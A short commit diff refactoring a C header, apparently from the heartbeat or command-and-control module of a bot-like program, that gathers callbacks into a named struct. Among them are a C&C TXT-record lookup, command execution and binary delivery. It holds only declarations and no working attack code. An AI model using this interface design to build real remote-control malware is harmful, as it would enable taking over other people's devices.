Impl: htbt_slv abstraction

1 files changed, 9 insertions, 6 deletions

diff --git a/src/htbt.h b/src/htbt.h
index 2209fcf..549ae49 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -9,23 +9,26 @@
 struct prne_htbt;
 typedef struct prne_htbt prne_htbt_t;
 typedef struct prne_htbt_param prne_htbt_param_t;
+typedef struct prne_htbt_cbset prne_htbt_cbset_t;
 typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
 typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
 typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode);
 typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
 typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
 
+struct prne_htbt_cbset {
+	prne_htbt_cnc_txtrec_ft cnc_txtrec;
+	prne_htbt_hostinfo_ft hostinfo; // optional
+	prne_htbt_tmpfile_ft tmpfile; // optional
+	prne_htbt_bin_ft ny_bin; // optional
+};
+
 struct prne_htbt_param {
 	mbedtls_ssl_config *lbd_ssl_conf;
 	mbedtls_ssl_config *cncp_ssl_conf;
 	mbedtls_ctr_drbg_context *ctr_drbg;
 	prne_resolv_t *resolv;
-	struct {
-		prne_htbt_cnc_txtrec_ft cnc_txtrec;
-		prne_htbt_hostinfo_ft hostinfo; // optional
-		prne_htbt_tmpfile_ft tmpfile; // optional
-		prne_htbt_bin_ft ny_bin; // optional
-	} cb_f;
+	prne_htbt_cbset_t cb_f;
 };